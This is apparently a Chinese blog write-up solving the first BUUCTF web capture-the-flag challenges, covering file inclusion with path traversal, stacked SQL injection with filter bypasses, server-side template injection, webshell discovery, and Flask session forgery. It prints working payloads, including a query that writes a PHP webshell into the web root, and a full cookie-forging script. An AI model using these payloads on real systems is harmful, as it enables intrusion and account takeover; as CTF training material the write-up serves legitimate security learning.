BUUCTF-Web-1

本文记录BUUCTF上Web部分的前二十个题目。其他BUUCTF的题目参见文末的链接。

[HCTF 2018]WarmUp

根据源代码里的提示,打开source.php,看到代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

访问白名单里的hint.php,看到以下提示:

由源码知道,传入file参数,需要截取第一个问号之前的路径满足白名单要求,故在参数里添加?并用../跳目录进行文件包含。payload如下:

[强网杯 2019]随便注

先嘲讽一句…

经尝试,过滤了很多关键字,但可以使用堆叠注入。

1
1';show databases;#

1
1';show tables;#

这里学到一个新知识点:预处理命令。

1
2
3
4
5
6
//预定义SQL语句
PREPARE sqla from '[my sql sequece]';
//执行预定义SQL语句
EXECUTE sqla;
//删除预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla;

预定义语句也可以通过变量进行传递:

1
2
3
4
5
6
7
8
//存储表名
SET @tn = 'hahaha';
//存储SQL语句
SET @sql = concat('select * from ', @tn);
//预定义SQL语句
PREPARE sqla from @sql;
//执行预定义SQL语句
EXECUTE sqla;

根据刚才得到的表名,构造payload:

1
?inject=1';SET @sql=concat(char(115,101,108,101,99,116)," * from `1919810931114514`");PREPARE sqla from @sql;EXECUTE sqla;#

第二种:

1
2
3
#?inject=1';set @sql=select flag from supersqli.1919810931114514;PREPARE stmt FROM @sql;EXECUTE stmt;#
#将@sql的值hex编码
?inject=1';set @sql=0x73656C65637420666C61672066726F6D20737570657273716C692E31393139383130393331313134353134;PREPARE stmt FROM @sql;EXECUTE stmt;#

后来看到有大佬利用命令执行获得flag…Orz

1
2
3
/?inject=';Set @sql=concat("s","elect user()");PREPARE sqla from @sql;EXECUTE sqla;
?inject=';Set @sql=concat("s","elect '<?php @print_r(`$_GET[1]`);?>' into outfile '/var/www/html/1",char(46),"php'");PREPARE sqla from @sql;EXECUTE sqla;
/1.php?1=mysql -uroot -proot -e"use supersqli;select flag from \`1919810931114514\`;"

先查看了用户为root,然后利用concat拼接和char(46)绕过select和.的检测,将一句话写入网站根目录(根目录为猜测,通常在此目录下),再访问webshell执行命令。

easy_tornado

访问三个文件:

1
2
3
4
5
6
/flag.txt
flag in /fllllllllllllag
/welcome.txt
render
/hints.txt
md5(cookie_secret+md5(filename))

学到一个新的注入类型:服务器模板注入 (SSTI ) 。

举个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask
from flask import request, render_template_string, render_template
app = Flask(__name__)
@app.route('/login')
def hello_ssti():
person = {
'name': 'hello',
'secret': '7d793037a0760186574b0282f2f435e7'
}
if request.args.get('name'):
person['name'] = request.args.get('name')
template = '<h2>Hello %s!</h2>' % person['name']
return render_template_string(template, person=person)
if __name__ == "__main__":
app.run(debug=True)

一个简单的flask的Web应用程序。运行代码,本地访问”http://127.0.0.1:5000/login",显示如下结果:

访问”http://127.0.0.1:5000/login?name=bob",显示如下结果:

如果攻击者访问

1
http://127.0.0.1:5000/login?name=bob{{person.secret}}

会发现除了显示了 Hello bob!之外,连同密钥也一起被显示了。

访问

1
http://127.0.0.1:5000/login?name={{%20config%20}}

会发现服务器的配置显示在页面中了:

修改flask代码即刻修复:

1
2
3
template = '<h2>Hello %s!</h2>' % person['name']
#修改为:
template = '<h2>Hello {{ person.name }}!</h2>'

此时访问

1
http://127.0.0.1:5000/login?name={{%20config%20}}

就不会显示服务器的敏感信息了。

回到这个题目,由某位大佬的一篇日志可知,在Tornado的前端页面模板中,Tornado提供了一些对象别名来快速访问对象,其中:

  • handler: the current RequestHandler object
  • RequestHandler.settings:
    An alias for self.application.settings.

所以,handler.settings指向RequestHandler.application.settings。

访问”http://e5bb0fdf-7e36-4590-baa8-fb3453beaeb2.node3.buuoj.cn/error?msg=“,得到cookie_secret:

接下来写个python生成访问flag文件的链接:

1
2
3
4
5
6
7
8
9
10
import hashlib
def md5_generate(s):
md5 = hashlib.md5()
md5.update(s.encode())
return md5.hexdigest()
if __name__ == "__main__":
cookie_secret = '4b260ce3-4283-44d0-8af9-51c19ca6c861'
file_name = '/fllllllllllllag'
url = 'http://55e5de47-bcbf-46a8-a014-c79336169805.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash='
print(url + md5_generate(cookie_secret + md5_generate(file_name)))

[强网杯 2019]高明的黑客

下载www.tar.gz解压得到一堆php文件,随便打开几个可以看出这些都是webshell,但估计只有一个能用,写个python批量识别里面的所有key,并依次尝试命令执行,执行成功的就是能用的shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import os
import re
import queue
import requests
import threading
def find_param(file_name):
with open(path + file_name, 'r') as f:
text = f.read()
try:
req = re.findall(r"= \$_GET\['(.*?)'] \?\?", text)
for r in req:
dic = {}
dic['file_name'] = file_name
dic['key'] = r
params.append(dic)
except Exception as identifier:
pass
def request_test(q):
while True:
i = q.get()
file_name = params[i]['file_name']
key = params[i]['key']
url1 = url + file_name + '?' + key + '=echo%20"otuki"'
req = requests.get(url1).text
if req.find('otuki') != -1:
print(file_name + '?' + key + ' is the shell!')
return
if __name__ == "__main__":
path = './src/'
files = os.listdir(path)
url = 'http://b3eb55d7-b2e7-46c5-aada-2f7983e56973.node3.buuoj.cn/'
params = []
threads = []
thread_num = 10
for file in files:
find_param(file)
print("共" + str(len(params)) + "个key!")
q = queue.Queue()
for i in range(len(params)):
q.put(i)
for i in range(thread_num):
t = threading.Thread(target=request_test,
args=(q, ),
name="child_thread_%s" % i)
threads.append(t)
for t in threads:
t.start()
for t in threads:
t.join()

然后访问“http://b3eb55d7-b2e7-46c5-aada-2f7983e56973.node3.buuoj.cn/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag”,查看flag:

[SUCTF 2019]EasySQL

fuzz了一顿,过滤了很多关键字,但没过滤select、from。参考大佬writeup,学到一个新姿势:sql_mode=PIPES_AS_CONCAT。这条语句意思是把管道符当作字符串链接符处理。

而源码里是这样写的(别问为什么知道源码…):

1
select $post['query']||flag from Flag

构造payload:

1
1;set sql_mode=PIPES_AS_CONCAT;select 1

这样和源代码拼接就成了:

1
2
3
select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
#即
select 1flag from Flag

[HCTF 2018]admin

随便注册个用户登录进去:

源码里提示你不是admin:

然后打开修改密码界面,发现源码里有提示:

找到题目源码,开始代码审计。直接看index.html页面:

可以看到需要以admin身份登录才会显示flag。

关于这道题目网上有多种解法,这里记录两种:

解法一:flask session 伪造

flask的session是存储在客户端cookie中的,我们通过伪造admin用户的cookie从而达到目的。

1
2
#cookie
.eJw9kEGLwkAMhf_KkrOHdtpeBA-7TFcUkjKQWiYXcbu1tnUUqmJb8b_v4IKn8PLCx3t5wHbfV5cDzK_9rZrBtvmF-QM-fmAOwqtRtFHE6SDFukEuE2zre8Z5hBon1CYRXQ6ocoXKjOTSgNr10U6bjrgOUW861OlABQ7CaUj8dUS2Ay1NkmkTSWtiO5koK2wibuWZXZBxqtDZySob-JlIYfzOhDTlI7IZpN00xCYWrgOavh0p6_N8LuA5g_LS77fXc1ed3hVImQSVHW2bh9mSDv489jqyBca4XDth6kSjIkdHW0hj1Wqk--KFa9yurt4kHyFH8--cds4bcL7eugZmcLtU_etvEAbw_AM3Wmnx.Xbfatw.ZnNPvaIVy9lE6GZ-LabIYHqJ5Q8

从config.py里也找到了secret_key:ckj123

从网上找了个加解密flask session的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(
ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(
ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help',
dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s',
'--secret-key',
metavar='<string>',
help='Secret key',
required=True)
parser_encode.add_argument('-t',
'--cookie-structure',
metavar='<string>',
help='Session cookie structure',
required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s',
'--secret-key',
metavar='<string>',
help='Secret key',
required=False)
parser_decode.add_argument('-c',
'--cookie-value',
metavar='<string>',
help='Session cookie value',
required=True)
## get args
args = parser.parse_args()
## find the option chosen
if (args.subcommand == 'encode'):
if (args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif (args.subcommand == 'decode'):
if (args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value, args.secret_key))
elif (args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))

解出session:

1
{'_fresh': True, '_id': b'e22d46511ebb179280957033049d713e63d26a462ec5d58505d0115c1e1550e1614d9847f48c479f9fb70949162f3cf42f9ed4945752141f5b548e8471f7f090', 'csrf_token': b'7d93f2b558ca7f83f7ac80bfe3dd366ceafbcb27', 'image': b'CST1', 'name': 'otuki', 'user_id': '10'}

将’name’字段修改为admin,再进行加密,得到伪造的cookie:

1
.eJw9kEGLwkAMhf_KkrOHdtpeBA-7TFcUkjKQWjIXcWutbR0XqmJb8b_v4IKn8PLCx3t5wPbQV5cjzK_9rZrBttnD_AEfPzAHy6vRaqOI08EW6wa5TLCt7xnnEWqcUJvE6nJAlStUZiSXBtSuTzJtOuI6RL3pUKcDFThYTkPirxOyDLQ0SaZNZFsTy2SirJDEupVndkHGqUInkygJ_ExsYfzOhDTlI7IZbLtpiE1suQ5o-nakxOf5XMBzBuWlP2yvv111flcgZRJUMkqbh9mSjv489jqSAmNcrp1l6qxGRY5OUthG1Gqk--KFa9yurt4kHyFH8--cd84bsNu75gwzuF2q_vU3CAN4_gE0amnO.XbfjOA.2IC_pij9fKv0xVz_4FOqiNloHeI

修改cookie后刷新页面即可。

解法二:Unicode欺骗

通过代码审计,看到注册、登录、修改密码前都会先将用户名进行小写处理,但不是用python自带的lower函数,而是重新写了个strlower,查看函数定义:

发现这个函数用到了nodeprep.prepare,而这个方法存在漏洞,它会将unicode字符ᴬ转换成A,而A在调用一次nodeprep.prepare函数会把A转换成a。这样我们使用ᴬdmin注册用户并登录,发现已经变成Admin:

再进行修改密码操作,实际上是修改的admin账户的密码。之后使用admin登录即可。

[CISCN2019 华北赛区 Day2 Web1]Hack World

但愿我的博文能对您有所帮助~